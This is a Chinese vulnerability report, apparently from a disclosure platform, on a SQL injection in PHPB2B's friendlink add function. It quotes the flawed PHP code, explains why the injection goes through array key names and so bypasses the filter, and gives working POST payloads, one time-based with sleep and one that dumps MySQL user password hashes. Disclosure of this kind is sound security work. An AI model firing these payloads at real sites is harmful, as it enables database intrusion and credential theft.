### 简要描述：
SQL注入#4
### 详细说明：
```
注入链接：/libraries/core/controllers/friendlink_controller.php
注入参数：friendlink
漏洞代码：（第18行开始）
function add()
{
global $smarty;
using( "message");
$pms = new Messages();
if (isset($_POST['do']) && !empty($_POST['friendlink'])) {
pb_submit_check('friendlink');
$data = $_POST['friendlink'];
$result = false;
$data['status'] = 0;
$data['created'] = $data['modified'] = $this->friendlink->timestamp;
$result = $this->friendlink->save($data);
if ($result) {
$pms->SendToAdmin('', array(
"title"=>$data['title'].L("apply_friendlink"),
"content"=>$data['title'].L("apply_friendlink")."\n".$_POST['data']['email']."\n".$data['description'],
));
flash('wait_apply');
}
}else{
flash();
}
};
$data = $_POST['friendlink'];从post中获取friendlink数组参数，并将$data 数组传入save函数，save函数中通过以下以下代码构造SQL语句：(libraries/core/model.php)
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
在save函数中$data 数组的键名会被拆分为select语句的列名列表$cols,由于$data 可控导致sql注入，且是数组键名，因此可绕过代码中的注入检测
```
### 漏洞证明：
```
首先直接访问：http://127.0.0.1/phpb2b/index.php?do=friendlink&action=add查看网页源代码获取页面token
<input type="hidden" name="formhash" value="7a8999986df50ec2" id="FormHash">
```
[<img src="https://images.seebug.org/upload/201502/091347283946346da1b90c3ded1455d7ee1d8606.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/091347283946346da1b90c3ded1455d7ee1d8606.png)
```
获取token后就可以进行SQL注入
http://127.0.0.1/phpb2b/index.php?do=friendlink&action=add
Post:
friendlink[if((length(user())>61),1,sleep(5))%23]=1&do=1&formhash=7a8999986df50ec2
```
[<img src="https://images.seebug.org/upload/201502/0913471025b105352e43d4897ec68ff7af92b884.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/0913471025b105352e43d4897ec68ff7af92b884.png)
```
Mysql日志：
```
[<img src="https://images.seebug.org/upload/201502/09134701a457201a3d3eba4cce8e888ed326f664.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/09134701a457201a3d3eba4cce8e888ed326f664.png)
```
成功执行延时注入
可无视SQL注入检测，执行任意SQL语句
http://127.0.0.1/phpb2b/index.php?do=friendlink&action=add
Post:
friendlink[host,user,password/**/from/**/mysql.user/**/where/**/1>0/**/limit/**/0,1%23]=1&do=1&formhash=7a8999986df50ec2
为了方便调试，代码里将sql语句打印出来
```
[<img src="https://images.seebug.org/upload/201502/0913464327fcd890a999a70f481a553d9032cd1c.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/0913464327fcd890a999a70f481a553d9032cd1c.png)
```
Mysql日志：
```
[<img src="https://images.seebug.org/upload/201502/09134633b2e3360745fdfc3d588be508120c8010.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/09134633b2e3360745fdfc3d588be508120c8010.png)
```
```
京公网安备 11010502034610号
暂无评论